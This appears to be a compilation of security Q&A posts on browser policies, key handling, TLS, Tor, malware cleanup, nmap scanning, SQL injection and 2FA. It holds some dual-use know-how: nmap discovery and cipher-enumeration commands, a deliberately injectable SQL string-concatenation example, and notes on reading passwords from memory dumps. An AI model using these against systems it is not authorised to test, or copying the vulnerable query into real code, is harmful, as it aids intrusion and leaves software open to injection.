Firefox warning: Content Security Policy: Couldn’t process unknown directive ‘require-sri-for’ Why does Firefox tell me

  Content Security Policy: Couldn’t process unknown directive ‘require-sri-for’

when Mozilla's documentation says they've implemented it?

The meta tag Firefox is complaining about:

<meta http-equiv="Content-Security-Policy" content="require-sri-for script;"/>

As of version 69, Firefox no longer supports the require-sri-for CSP due to concerns about standardization status. The original answer below is only valid for versions 49-68.

If you look at the compatibility tables you will see that firefox has a flag which labels this functionality as "User must explicitly enable this feature." To quote:

From version 49: this feature is behind the security.csp.experimentalEnabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.


Is adding apt keys using wget secure? Many (I would even say most) projects that have Debian repo give instructions like this (https://www.dotdeb.org/instructions/):

3. Fetch and install the GnuPG key
wget http://www.dotdeb.org/dotdeb.gpg
sudo apt-key add dotdeb.gpg

Isn't this insecure? My reasoning is:

the key is not downloaded over HTTPS so it can be altered on the way
attacker could forge repo and sign it with the altered key
altered package will be installed

Yes, it is insecure to use http instead of https because it can be attacked  by man-in-the-middle, by DNS spoofing or in other ways, so you get the wrong key and also wrong software. Checking the fingerprint of the key would not help either unless you got the fingerprint by https.

And while it would be better to use https, it would not mean that TLS provides full security. All it provides is security of the transport which means:

You need still to trust the site itself. How to you know that this site does not intent to serve malware to you? Where did you get the information about the site from? How trustworthy was the person/site providing this information and was the transport protected by https?
You need to trust the security of the site. It might be hacked and serve wrong key and software.
You need to trust the author or distributor of the software that it does not contain any bugs or even backdoors.
...

Given that hacking a site or setting up a similar looking phishing site (which might use TLS too) is often easier than mounting a man-in-the-middle attack you should ask yourself if using TLS would be enough to provide the level of security you need.


Would generic exception messasges be considered a security risk? For example, if visiting a webpage you get the response:

Error in exception handler.

This has a high chance the website is using Laravel. Would this class as information disclosure?

I'm guessing not, but thought I'd ask. There's conflicting opinions between our group.

Should Exceptions be shown to the user?

No.

Displaying exception messages is bad practice. Exceptions should be used to debug the code, they should not be used to display something to the user.

If you use the same mechanism - exceptions - for both tasks, it will be very difficult to separate between them. Eventually, you will either show an exception message with too much information, or you will log an exception with not enough information.

Additionally, exception messages generally do not make for good usability. Why would a user care that there was an error in the exception handler? What are they supposed to do with this information? Most users would not know what an exception handler is, and would be confused by such a message.

Is this information disclosure?

As you noted, you do disclose information through this message (you are using Laravel). And it's also searchable via google, so if for example a new vulnerability in Laravel is found, someone may search google for this error message to find a lot of Laravel installations to attack. This means that with this message, you may theoretically draw attention and attacks towards you.

On the other hand, disclosing used software (without the exact version) is often quite hard to prevent, and sometimes not even desired.

It's really a judgement call if you want to call this information disclosure or not. If you eg take the definition of CWE-200:

  An information exposure is the intentional or unintentional disclosure
  of information to an actor that is not explicitly authorized to have
  access to that information.

  The information either

  is regarded as sensitive within the product's own functionality, such as a private message; or
  provides information about the product or its environment that could be useful in an attack but is normally not available to the
  attacker, such as the installation path of a product that is remotely
  accessible.

So the question is if you think that a user is not authorized to know that you are using Laravel, and if you think that this information is not normally available.

Conclusion

You do leak some - quite minor - information for no good reason, which may have a small impact on security and usability.

You should instead display a useful error message if possible, or a generic error message if not.


Can you trace network attacker by ip address? Is it possible to prove the identity by ip address of someone that has compromised a router on your network?

Prove ? No. Trace back, possibly. Most likely, a determined adversary who is focused on you may have compromised one or more intermediate systems through which they pivoted their attack to obfuscate their movement. You will likely need to go before a bench to subpoena DHCP / PPPOE logs, server logs from intermediate systems, etc.

Call in a pro forensics team like Mandiant or Verizon, and coordinate with LE. Based on the questions you are asking, this is probably above your grade.


What do the Keybase pgp import instructions actually do? I've created a Keybase account and imported the "easy" identities (e.g. Twitter, Reddit). Now it's time to get my PGP key there.

I had expected instructions to PGP-sign a specific text from the Keybase (Windows) app and re-upload that signed data (base64 or some such). Instead, what I find is this:

# import a key from gpg's key chain
keybase pgp select
#import from stdin and send the public half to Keybase
cat privkey.asc | keybase pgp import
# for more options
keybase pgp help

At first, I thought that they were 3 instructions to be followed in order, but then I realized they were 3 different main things you could do.

Can someone explain in basic terms (I know the basics of PGP and public/private key pairs) what the first two options entail behind the scenes?

Specific questions I'd have:

Does either option 1 or 2 give permanent access for the Keybase app to my PGP private key? Or is it just one time to sign a proof that the public key is mine?
Does option 2 mean you need to have your private key in a file at your current location? Is the file typically protected with your passphrase?
Any other specific risks or things I should be aware of? I want to make very sure my PGP private key remains my own.

I can speculate to the answers myself, but since it's important stuff I'd rather ask, to be sure.

It sounds like you're looking for any one of these three:

keybase pgp import -i pubkey.txt
cat pubkey.txt | keybase pgp import
keybase pgp select --no-import

That will import the public half of your key, advertise it on keybase, but prevent them from having access to the private key.

On the other hand,

cat privkey.asc | keybase pgp import

will send a copy of your private key to the keybase servers, which will make it available for use with keybase pgp commands.  And,

keybase pgp select

will look at your GnuPG keyring and allow you to select an existing private key to import to keybase.

When in doubt

keybase pgp <option> help

Update:

The option to upload a public key and withhold the private half from keybase doesn't seem to be working. The first set of options listed above now all return

  ERROR No secret key available


Hide real IP (and possibly location) while live streaming Say I wanted to start live streaming on YouTube or Twitch, but I don't want those services to know my real IP or where I'm located. Commercial VPNs might not be a good option here since they reduce the overall stability of internet traffic, which would translate into stream dropouts (at least, in theory).

I'm exploring the following options:

Cloudflare's 1.1.1.1 app for desktop platforms
Co-locating a streaming server in the same facility and a network a
VPN provider uses (say, ProtonVPN, for instance), connecting it to a VPN of that provider and proxying the stream through it

What would be your approach to this problem?

Unless you want to break into a neighbor's service and mask yourself via their IP address (which is a criminal act), you need to bridge your traffic via something that changes the IP address for you by process of address translation.

That is usually attained 1) behind a home/corporate router or 2) at the expense of a free/commercial VPN. You may rent a VPS of your own too. Warp (1.1.1.1) and other options do almost the same.

The problem with VPN of any kind is that it takes a longer path to the destination. In addition, overhead of the tunneling may increase delay, jitter and drops in video streaming. You can only hope for the best.

So my suggestion is solution #1. Go to office, or use your neighbor's with their permission of course.

Update: if #1 is not an option, try renting a fast VPS or VPN service in a foreign country en route to destination sites (US in this case)


Is a password-protected excel file considered secure versus encrypted file or email I understand that encryption is the highest form of security for document/data storage.

While a password-protected document is more secure than one without password protection, if the document is sent via email that is NOT encrypted, is the document considered secure?

It's really broad to ask about whether a document is considered "secure". Something that is "secure" enough for me, sending a love poem to my girlfriend, is not "secure" enough for Obama, sending a love poem to Putin.

As Alexander O'Mara mentioned in a comment, there are different ways of setting a password on a file.

  Excel gives you several ways to protect a workbook.

  You can require a password to open it, a password to change data, and
  a password for changing the file's structure—adding, deleting, or
  hiding worksheets.

  You can also set a password in Backstage view that encrypts your
  workbook.

  Remember, though, that this type of protection doesn't always encrypt
  your data - only the encrypting password created in Backstage view
  does that. Users can still use third-party tools to read data that
  isn't encrypted.
       (from here )

So it seems that simply password protecting an excel file would not be very "secure", as someone might still be able to view the data with a third party tool.

That said, assuming you want edit protection, it again depends what you later do with the password, or how you would transmit it to the person later using it.


Contents of Lenova/Superfish certificate I would like to examine the Lenova/Superfish root certificate being used in the wild.

I've worked through articles like Lenovo PCs ship with man-in-the-middle adware that breaks HTTPS connections, and looked at similar questions like How to detect if I am vulnerable to “Superfish”, and how to remove it? and What security risks are posed by software vendors deploying SSL Intercepting proxies on user desktops (e.g. Superfish).

If you have a copy of the certificate, then you can receive a textual representation of it with:

cat superfish.cert | openssl x509 -text -noout

But what is in the certificate? What attributes are included, and which algorithms were used?

Robert Graham of Errata Security has generously extracted (and provided for download) the Superfish certificate, and cracked its password as well. See this link.

EDIT (per suggestions):

$ cat superfish.cert | openssl x509 -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 15203047915477327079 (0xd2fc1387a944dce7)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: O=Superfish, Inc., L=SF, ST=CA, C=US, CN=Superfish, Inc.
        Validity
            Not Before: May 12 16:25:26 2014 GMT
            Not After : May  7 16:25:26 2034 GMT
        Subject: O=Superfish, Inc., L=SF, ST=CA, C=US, CN=Superfish, Inc.
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:e8:f3:4a:18:76:5f:19:3f:b1:cf:58:e9:7f:43:
                    07:09:95:80:35:c5:0f:fe:71:31:27:81:99:12:26:
                    20:a5:df:8f:6a:fc:42:55:39:ee:09:38:89:d9:e0:
                    36:c4:ac:01:82:5b:d5:39:e6:f9:8f:07:88:df:fe:
                    ee:f6:a1:14:ce:a9:74:45:d8:fd:f0:17:57:2a:82:
                    e1:7a:2e:12:93:5a:ac:8a:d7:15:63:d1:b7:9b:55:
                    80:0f:58:bc:1c:49:ed:20:62:dd:b6:4c:a5:3a:eb:
                    1c:3d:a0:ff:7a:71:a6:d3:10:78:33:ae:4b:c2:1c:
                    fd:92:4a:a1:c3:e7:41:a4:2d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE
            X509v3 Subject Key Identifier:
                FB:98:B3:53:7F:14:44:2E:E8:EE:D5:09:9A:5E:0E:56:86:A8:35:88
            X509v3 Authority Key Identifier:
                keyid:FB:98:B3:53:7F:14:44:2E:E8:EE:D5:09:9A:5E:0E:56:86:A8:35:88
                DirName:/O=Superfish, Inc./L=SF/ST=CA/C=US/CN=Superfish, Inc.
                serial:D2:FC:13:87:A9:44:DC:E7

    Signature Algorithm: sha1WithRSAEncryption
         a4:7c:a0:ec:0a:4a:c7:70:c4:71:68:f3:3b:22:e2:dc:9c:8d:
         d0:92:fe:73:7e:72:2b:55:44:9b:1b:b4:42:eb:1f:af:be:ba:
         e3:93:a3:d4:8b:18:c2:94:f0:b3:a6:bd:65:34:4c:cd:24:f8:
         19:0b:c5:15:0a:da:f3:57:8b:a9:86:cf:6c:c3:ee:84:2f:85:
         0b:19:14:17:98:b4:0c:d4:96:8b:e9:1c:cc:95:c9:4e:d0:aa:
         4b:01:a5:f6:df:49:12:81:6a:be:d5:be:ce:76:7d:4e:ac:8b:
         88:e3:30:ed:31:84:50:8f:bc:f1:50:2a:5b:4a:a6:5e:7c:0f:
         71:fa


Is a JavaScript implementation of AES any less secure than other language implementations? There are a few JavaScript AES implementations available such as Gibberish-aes

So assuming the AES algorithm has been implemented correctly in this library then it should be as secure as any other language implementation ? And if not why not ?

AES is a specification that can be implemented in any programming language.

If you are thinking about doing encryption in JavaScript to avoid using https, this will not be secure: Transmitting the HTML file or any included JavaScript via an http connection allows an attacker to modify it. So in addition to doing the encryption it can send the information unencrypted to another server.


How anonymous is it to use Facebook's Tor-site? How anonymous, with respect to Facebook, not the rest of the world, is it to use Facebook via https://www.facebookcorewwwi.onion/ rather than the usual site? That is, if two different Facebook users use Facebook from the same instance of Tor Browser, can Facebook identify that these two users are using the same computer and the same network connection if they log in and out without getting a new identity or circuit before logging in again.

How anonymous [...] is it to use Facebook via https://www.facebookcorewwwi.onion/

This depends on what you mean by anonymous. If you use an account which you had previously logged in using your real IP address, or if the account is in your real name and linkable to your identity, then it is not anonymous. If you mean location anonymity (hiding the location from which you are currently connecting), it is fully anonymous whether or not you are using your real name.

  can Facebook identify that these two users are using the same computer and the same network connection if they log in and out without getting a new identity or circuit before logging in again.

Yes. You need to restart the browser by using the New Identity feature. This will clear out tracking cookies and other identifying material. It is not enough to just switch circuits. You must clear the browser state correctly by selecting New Identity. Note that particularly advanced tracking using JavaScript to identify unique browser characteristics may be able to correlate the identity of two accounts that use the same browser, but it requires an active attack.


Can I Prevent Internet Explorer from Storing Login Requests in Memory? Using Internet Explorer 11 I have been able to login to HTTPS web applications by providing a username and password and then subsequently logout. Whilst the browser process is running I can then dump the browser memory (for example by using WinHex) and can see the login HTTP request, including the username and password, in plain text.

Is there a configuration setting within the browser or a change that could be made to the web applications to prevent this?

On a Windows machine, inspecting the memory of the IE process is limited to the owner user, and administrators. If an attacker can inspect the memory of your IE process, then that attacker has taken control of your machine and/or your account, and you are already doomed.

If the machine is "shared" then there is no really good solution: if an hostile entity can take control of the machine after you have finished using it, the same attacker could probably take control of the machine before you begin to use it, and plant a key logger, at which point your password is toast. No amount of closing/rebooting will save you. The conclusion is grim but unescapable: do NOT type passwords (or anything secret) on a shared machine.

If you are in a context where you only fear attackers who grab the machine after your usage (the "laptop theft" model), then the best you can achieve is probably to employ full-disk encryption (there are various products for that; some versions of Windows already include one called BitLocker). If you take care to shut down the machine when you are not using it, or if you mind the details about sleep/hibernation mode, then this should protect your data, including the pieces that linger in RAM.

For attackers with little competence, you could simply ensure that the IE process is dead, by closing all windows, but this would not necessarily remove all traces of the data from RAM. Your passwords may also have been written to the virtual memory file. Full-disk encryption is a more comprehensive solution.


Malicious .scr file partially executed: sohanad? I executed a .scr file, (without prior checking of the file ending, because the filename was longer than what the explorer showed) and there was a popup saying something. Instant realization that I probably f***ed up. I didn't click anything on the dialog, but switched to taskmanger and killed the process running it (in the hope, the process that was displaying the dialogue was waiting for a response before going on), and afterwards deleted the file.

Now I Googled for quite a while, and found out it might be the so called "sohanad virus". Now while BitDefender and Emisoft emergency kit running in the background, the symptoms of this virus is the access denial to registery and some Windows features. I still have access to all these features, I checked for any unknown processes, and the scanning of BitSefender and the emergency kit have not returned any threats or malicious files.

I checked several system executeables (svchost, crss) on Virustotal, without any of them being identified as malicious. I dont experience any differences with the system and I have access to regedit and so on. There is no unusual high load on CPU/HDD/RAM or anything else. I also did some research on the sohanad thing, and it seemed to be around mainly a few years ago, so I assume that modern antivirus systems should be able to correctly identify it, when checking the filesystem.

My questions now:

How high are the chances I got my system infected?
What additional efforts can I perform to check if my system is clean or infected?

In the worst case scenario, I have Ubuntu on dual boot, where I can backup all my stuff from there, and reset Windows, but I really want this as a last resort. If possible I want to make sure my system is not infected in any way. I do not have any passwords stored on my PC, nor any PayPal, bank or etc. stuff data associated with any software.

First, an SCR file is an executable file so it could really have been any malware in existence. Failing more specific evidence you didn't share, there is no reason to believe it was the Sohanad worm. In fact, given you do not see any of the symptoms attributed to Sohanad and your virus scanner did not detect it as such, it was quite probably something else. It is most unfortunate you deleted it so now you have no way to find out what it actually was.

Second, there is no such thing as a partial execution. The executable was loaded and started, as evidenced by the fact that it popped up a message. If it was malware then there's no reason to believe it really sat idle while waiting for you to dismiss the message. It is quite possible that it had already started to compromise your system in the background.

Third, checking "several system executables" is not enough to assure your system is clean. If your system was compromised then malware may be hiding in any location. Not every malware modifies regular Windows executables.

Your safest course of action would be to reinstall the system from known good media. At the very least, perform a full scan of your system from an antivirus live CD.


Privacy: can my employer access sensitive information if they pay my mobile subscription? I bought the hardware myself I bought the mobile phone myself, but my employer paid the mobile subscription.

What data can they see and what are potential privacy risks? As far as I know they see which numbers I called (only traditional calls, not via VoIP apps), but they don't see individual Internet traffic.

I also use the iPhone for the company Microsoft Exchange Server server.

They will most likely be able to see an itemised bill showing who you called and when. They will also be able to see mobile data usage.

If the phone is enrolled in the organisations mobile management system, they may be able to monitor and control app usage as well as monitor and control internet traffic.

UPDATE: In a worst case scenario they could potentially install full monitoring and install things like key loggers, this is very unlikely however. Additionally, depending on what part of the world you live in, there are restrictions on what they can legally collect, especially without consent.

The best thing to do is ask your company what you can and can’t use the phone for. If it is a large organisation they should have a security policy and an acceptable use policy.


Risks of serving untrusted content under HTTP Content-Type: text/plain? Am I gonna run into XSS attacks by doing this, or will a file download be prompted?

Are there security problems that would rise in a modern browser?

Some very badly broken browsers (notably old IE versions) try to "snif" the "true" content-type and will act as if the content-type was text/html.
Perhaps you can try to blacklist said browsers, either according to user-agent or by providing HTML as text and checking if the browser runs JavaScript in text/plain.
If you want the browser to save the file instead of display it, try Content-Disposition (f.ex. Content-Disposition: Attachment; filename=example.txt).
IE8 Security
You can also use the X-Content-Type-Options: nosniff IE-specific HTTP header in order to prevent MIME-sniffing of text/plain HTTP resources.

Sites hosting untrusted content can use the nosniff directive to
ensure that text/plain files are not sniffed to anything else.


How does Cryptolocker propagate? One of the computers in my office has been compromised by Cryptolocker.  Once informed, my immediate response was to disconnect the computer from the network - though there was a period of a few hours in which I was not aware of the issue.

The infected computer was connected to a NAS drive, as well as multiple computers on the network.  The NAS drive is publicly accessible, and some of the files therein were encrypted.  The computers require separate access credentials, and do not appear to have been infected.

In this situation, are the other computers currently at risk of being infected?  How exactly does Cryptolocker (or similar ransomware) propagate through networks? Could something have been done to better secure the NAS drive?

To answer the NAS portion of the question: the typical CryptoLocker behaviour is to crawl all connected drives (local and network mapped drives), which would include a connected NAS.

Protect the NAS by:

Not keeping it mounted
Backups that you can restore even if the entire NAS gets compromised


How do I back up YubiKey-backed TOTP authentication? I bought a YubiKey 5 NFC this week and have started using 2FA and U2F where I can but am deathly allergic to the idea of losing access.
For backing up U2F access I'm going to buy a second U2F token (probably a YubiKey depending upon the answer to this question) and register it to all my services. But I am not sure how to back up all of my YubiKey-backed TOTP-based authentication codes. I have the recovery codes for all of these services, but I would like to have a second TOTP generating mechanism.
I have read that YubiKey-backed TOTP is phone-independent in an article titled YubiKey for SSH, Login, 2FA, GPG and Git Signing:

One very nice (and unclear, at first) advantage of having a YubiKey seeded with 2FA codes is that we can now generate 2FA codes on any phone, as long as we have our YubiKey with us.
I already had to remote-lock and remote-erase a phone in the past, and losing the Google Authenticator settings is not fun. If you handle your YubiKey with care, you shouldn't have that problem anymore.

But I am unsure how this would work. Furthermore, that is the case if I lose the phone, but not the YubiKey.
So my question is two-fold:

How do I ensure I can use the same TOTP tokens if I lose my phone? That is to say, if I have a YubiKey seeded with TOTP authentication for n services, would simply installing Yubico Authenticator on a new phone and then tapping the YubiKey to the new phone's NFC antenna generate the same TOTP tokens? If not, how would I access them on the new phone?
How can I ensure back up TOTP authentication with a second YubiKey in case I lose my first YubiKey? That is to say, it is easy to register a second YubiKey in, say, GitHub, by simply going to the two-factor authentication management screen and clicking Register New Device, but there is no clear way to register a second authenticator app, which is how I registered the TOTP passwords for the YubiKey. I have read on the Yubico website that "if you backup the secret (or QR code) at the time of programming, you can later program the same secret onto a second YubiKey and it will work identically as the first." Can this be done at the time of 2FA registration in the Yubico Authenticator app? That is to say, I register two YubiKey's with the same 2FA QR code simultaneously?

When setting up TOTP with a site, they give you a shared secret.

Yubico Authenticator uses your Yubikey to store that info.  As long as your key is present, all instances of Yubico Authenticator are interchangeable.
Most sites will only share a single secret with you, but you can freely update that secret.  When registering a "new authenticator" with a site, you can put that secret on multiple keys/authenticators before telling the site you're done.


different results using nmap with/without sudo What is the reason that after running:

$ nmap -sP 192.168.1.0/24

I got 3 results, but running:

$ sudo nmap -sP 192.168.1.0/24

shows 7 results.

What is the role of using sudo here?

Nmap adapts its techniques to use the best available methods using the current privilege level, unless you explicitly request something different. The things that Nmap needs root (or sudo) privilege for on Linux are:

Sniffing network traffic with libpcap
Sending raw network traffic

You can use the -d option to see what Nmap is doing in the background, but the short answer is that with root privilege on an Ethernet LAN (like you are using, based on the IP addresses you listed), Nmap will send raw ARP packets and sniff for results. Responding to ARP requests is a prerequisite to IP communication on such a network, so it's nearly impossible to block or hide from this type of scan. If you do not have root privilege, Nmap falls back to trying to connect to 2 TCP ports (80 and 443), considering the host "up" if the connection succeeds or is reset. A system with a drop-all firewall and no services on 80 or 443 will not show up with this scan. You can read more about Nmap's host discovery techniques in the host discovery section of the man page.


Is there a way to make Tor network your full VPN? Is there a way to use Tor network as your VPN, proxy or something alike?

I have been gone to their website but I've seen just browser (Tor Browser), bridge, relay and exit.

Is there way to tell Linux? "Hey, connect to Tor network like browser, use that IP and send data through that hole."

One of the easiest ways to do this, is through the use of visualization.
Where your Host machine runs the TOR client, and starts the virtual environment.

Details of this on the tor.stackexchange.com

Example post :
Running a virtual machine (VM) that can only connect through Tor

This allows you to run apps and sessions inside your virtual environment just like you would on your regular host OS, while safe in the knowledge, "anything and everything in this environment is using the TOR network,"


Is posting data to a https address secure? I am making an web application who POST an username and password to an server who checks it. This communication is secure (SSL/TLS).

What I was wondering if the secure SSL communication is set up before or after the first contact with the server?

What I mean is that the POST data is the first data what will reach for the server. Is this data securely send or not? So what is done first the set up of the SSL bridge or does the web app first send the post request?

The SSL "bridge" is established first, otherwise all the post data will be sent in cleartext, I am assuming you don't want this.

The whole point of https is to establish a secure connection in a insecure environment, hence we need root authorities that we trust.  This is established via trusted certs, public/private keys etc... all done in the background.  In other words you do not need the post data to establish the secure connection:)

Hope that helps.


How to block for open Web Shell in my CentOS 6 I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp client then I can use shell in hosting.  my question is how to block the opening of the shell even if uploaded via ftp?  any mod_security rule to use and if so what?  I also use cPanel

ModSecurity is a Web Application Firewall. FTP is not Web traffic, HTTP and HTTPS are. This means ModSecurity cannot be used for filtering FTP traffic not can it be used to filter mail traffic.

Also, ModSecurity does not protect against misuse of hacked accounts or severe server misconfiguration in general. If somebody is able to use FTP to upload malicious code which then can get executed as part of the website (like a webshell) then this can only be done if you either allow anonymous upload to your web hosting (misconfiguration - just don't!) or that the username and password to your account is known to the attacker.


Clarifications regarding testing the cipher using NMAP scan I'm running the below Nmap command to test the strength of the cipher suites I have used in my host

nmap -sV --script ssl-enum-ciphers -p 8673 <host>

My server supports TLSv1, TLSv1.1, TLSv1.2

I'm using an older NMAP version to test the cipher suite strength using the above command. when I checked the ssl-enum-ciphers.nse file it doesn't have  node which is available in [1] for the later versions, also ssl-enum-ciphers.nse file doesn't have any TLSv1.2 related configurations. My file is similar to the file in [2].

But when I'm running this command, I'm getting the below output

8673/tcp open  unknown
| ssl-enum-ciphers:
|   TLSv1.2:
|     ciphers:
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - A

So I think the testing has been done for the TLSv1.2 as well. So how this actually works?

Appreciate if someone could explain, how this scan is performed for the TLSv1.2 ?

[1] https://svn.nmap.org/nmap/scripts/ssl-enum-ciphers.nse

[2] https://svn.nmap.org/nmap-exp/luis/nping-ng/scripts/ssl-enum-ciphers.nse

<table key="TLSv1.2">  is not configuration. The section you are referring in the NSE script explain the expected XML output.
ssl-enum-ciphers.nse script will enumerate through all tls.PROTOCOLS and then enumerate through all tls.CIPHERS to do the required checks.
tls.lua defines the supported protocols and supported ciphers.
My guess is that the NMap version you are using has tls.lua with TLSv1.2 included, but the ssl-enum-ciphers.nse is not updated with the TLSv1.2 related example outputs. It is anyway best to build latest version of NMap by using the source.


Implementation of security policy using BLP I'm studying for an exam that covers BLP (Bell-Lapadula) and I was wondering if the following could be represented using this policy. All the examples I've found online are of a simple hierarchical structure, and aren't much help here. Suppose we have the following scenario (A and B are files, and X,Y,Z are users in the system).

File A: Read and writable by X,Y,Z
File B: Read and writable but only by X,Y (Z should have no access).

Is something like this possible given the read-down write-up restrictions of BLP?

X and Y can read information from File B and write it to File A. This makes formerly confidential information available to Z.

This violates the "no write-down" rule of Bell–LaPadula:

  The Star-property (read "star"-property) - a subject at a given security level must not write to any object at a lower security level (no write-down)


Can I run Snort on a slow computer? I'm trying to use a device with 1GB of RAM and a Single 800 MHz core CPU.
I will use Snort to analyze traffic on my LAN network. Snort, unfortunately, cannot analyze all the traffic (sometimes it triggers an alert after a trigger, sometimes not).

Is there a way to say "Analyze X Mbps of traffic", otherwise let the traffic flow?
Can you tell me where I can get a list of "reduced" RuleSet with only the most terrible attacks? Right now I just use the CRITICAL ruleset
Can FWSNORT be a good alternative?

It all depends on how much traffic you're attempting to monitor, but the most important factor of all your actual configuration.

There is a few actions you can do to enhance performance of your setup

Limit the scope of traffic to be monitored.
Optimize your Snort/Suricata configuration. Suricata will probably not give you much extras since it's multi-threaded and you only have one CPU core.
As you mentioned yourself, amount of rules implemented in your sensor have a strong performance impact. I'm not aware of any limited ruleset, but you can disable unnecessary rules yourself. There's plenty of different ruleset manager such as Polman, PulledPork. These are fairly old, and there might be more useful software/helpers for these tasks available.
OS level optimizations

I agree with above comments, that you want more RAM, CPU cores, strong NICs (at least two), and potentially even GPUs to get the most of your sensor setup.


3 or 4 characters long username from security point of view I have on my site the ability for the user to choose his/her username that is 4-20 characters long.

But some users could have names like "Amy" "Eva", "Ian" etc.

Should I stick with 4 letters or go to 3 letters?

Are there any disadvantages from security point of view?

I am using trim and xss filt. on every user input and the words like admin etc. are restricted in my callback method.

Is it safe to go to 3 from 4 letters?

There's no difference from a security perspective - the authentication strength should come from the password, not the username.

However, I wouldn't put a minimum of 3 characters on a username. In China alone, there are over 700,000 people with the given name Na or Li, and there are plenty more one-character and two-character names. Add that to the fact that names don't even need to be made of ASCII letters, and you're running into problems. Granted, you can probably enforce ASCII for your purposes, since most names consisting of non-Roman characters can be represented with the standard A-Z alphabet in some way.

I highly recommend you read Falsehoods Programmers Believe About Names and absorb the crazy facts within it. You can reasonably safely ignore some of the more esoteric issues (e.g. Klingon names) but be aware that there are people whose names do not fit in with any single standard model you can come up with.


Is the enforcement of only allowing signed application to run in a Windows server a safe rule in a prod environment? There are various security tools that allow an administrator to enforce only signed applications to run in a Windows operating system. is this a realistic general enforcement rule in a production server knowing that application signage is dependent on the application developer and it is not a operating system requirement?

No, it isn't secure.
Signing a application does only provide traceability and unmodifiability - the created application can be traced back to the person who signed it, and the application cannot be modified without invalidating the signature.
Anyone who has the Money and possibility to go through the process of getting a code signing certificate will get one. And once they get it, they can sign anything with it, including viruses and malicious software.

Thats why Windows still warns you when trying to install signed software, but it displays the signer's Company name and subject name in the dialog box where you have to accept the installation.

To gain security, you also need to add a step called "Authorization". This means you need to scrutinize who is "approved developers".

Combining code signing with authorization, can be a effective step against malicious software instead of relying on a Whitelist. Instead of just saying for example "Microsoft office is okay to be installed", you can instead let for example end users, without administrator rights, install anything that is signed with "Microsoft", and still have security against malicious software.

Maintaining a list of approved software developers are much easier than maintaining a list of approved software, because then you can even allow users to update the software without needing elevated rights.

However, practically, its not a good solution, because most users need to run small softwares from time to time. It can be a simple thing like some software required to view a webpage related to the work the person is doing, or the person are trying to access the Company bank account for the first time and the bank needs to install some "security authenticator application".

So regardless of if your'e whitelisting software names, or if you are whitelisting developer names for signed software, such deployments are only suitable in high security Environments where its also practical to say that the computers are strictly for one purpose only. In these cases its common to install very restrictive launchers too, like "Kiosk launchers" to prevent the computers from being used to anything else than they are intended for.

To make a analogue comparisation:

Code signing is like ID-cards. Requiring every visitor to a building to show their ID card does not really add to security, since unauthorized indivuals could still enter the building using their own ID card.

To add to security, you need to also introduce a "authorization" step, where you check if the name of the ID card does match a access list or guest list of whoever is authorized to enter the building. This keeps unauthorized indivuals out from the building.


Is there a way to customize the authentication mechanism on an Android Device? Android comes with authentication mechanisms like the lockscreen pattern. Is there a way to customize those patterns (e.g. adding nodes, changing colors, modifying the ruleset)? Or can I even implement a whole new authentication type (e.g. using emojis instead of numbers).

The Android version is not important (so is the way to implement my needs).

If you build your custom version of Android (so called mod), the answer is yes. AOSP includes all the code for lock screen, and you are free to replace it, or modify it as you like.


Tor - chain of connected nodes? For a long time now I have been wondering how to find out where you actually connect to with Tor.

The only thing you can do in Vidalia is show a Network Map of all available Nodes worldwide, which is not related to the nodes you are actually connected to right now.

You are never connected to all nodes, only one. The whole principle of Tor is that only the first node knows where you are. The other ones needn't know.


What pages are vulnerable to SQL injection? I believe I understand the basics of SQL injection. I also know using prepared statements with PHP files is the best way to prevent SQL injection. I was always told that SQL injection happens most commonly when an attacker inputs valid SQL commands inside form data fields or file input fields on a public facing site.

However, if I have PHP files on my site that can only be accessed by an authenticated user, is it still 100% necessary to use prepared statements?

Also, what about SQL queries that don't require any outside user data to run?

Something like:

SELECT * FROM tableName

If I'm not passing any variables to a query is it still vulnerable to SQL injection?

Do you trust all of your authenticated users completely? Including that they won't have their accounts compromised by attackers? It's bad if an attacker gets access to an account, but far worse if they can then leverage that to steal the rest of your database.

For your second point, the example you've used would not be vulnerable. However, take care with more boundary cases such as

$query = "SELECT * FROM tableName WHERE secret='".dbquery("SELECT secret FROM otherTable WHERE id=3")."'";

If it was possible to insert a payload into otherTable in the secret column for record with id 3, this would be vulnerable to Second Order SQLi, even if the insertion routine used prepared statements.

As per comments:

SELECT * FROM tableName WHERE secret=(SELECT secret FROM otherTable WHERE id=3)

is executed within SQL, so not an issue. The problem occurs when data drawn from the DB is considered trusted at the application layer, and used in later queries.


Is 2FA required for one-time login links? I'm currently implementing 2FA and ask our users that login with their email/pass to enter their code when 2FA is enabled. This is all good.
But I also offer a "I forgot my password" access that sends a one-time login link by email to the user when the email entered matches the account we have.
Now, I wonder if it is important to also ask for the 2FA code when the user clicks that link since, by default, his email account should be secured.
So, when clicking on the link received by email, should I ask for the 2FA token before allowing access to his account, or should I redirect them directly into their account since "email is safe enough" ?
Thank you for your input.

... since, by default, his email account should be secured.

Unless you are in a fully controlled environment you cannot make this assumption. For one you cannot guarantee that the mail cannot be watched and sniffed by someone in between, unless you explicitly use end-to-end encryption with PGP or S/MIME. And even if the mail arrived without problems at the users mailbox you can neither assume that this is a secure storage nor the the users account was not compromised.
In other words: a simple mail is not as strong as password + 2FA and thus should not be considered a replacement for this.


How should I select which antivirus software to install on my new laptop? I'm in a bit of a dilemma here. I have bought a new laptop with no antivirus installed. I'm wondering how to choose an appropriate antivirus software to install.

What you want for software in general is that it:

does the job;
is easy to install and manage;
is cheap.

Windows 8 comes with Microsoft's antivirus already included (it is called "Windows Defender"), which fulfills point 3 (you already paid for it, so it is technically "cheap") and point 2 (the software which is easiest to install is the software which is already installed). As far as I know, it also does the job, and since it is backed by a big company (Microsoft) which has a vested interest into this antivirus keeping on doing its job properly, I tend to think that it is a reasonable choice.

For previous versions of Windows, the same antivirus is known as "Security Essentials" and can be downloaded and installed for free. It is also a reasonable choice.

(I have used other antivirus in the past, but most had some irksome feature, such as "nagging" the user with ads for the full, non-cheap version. Also, this is only for Windows; the main OS on my laptop happens to be a Linux, which can safely operate without any antivirus.)


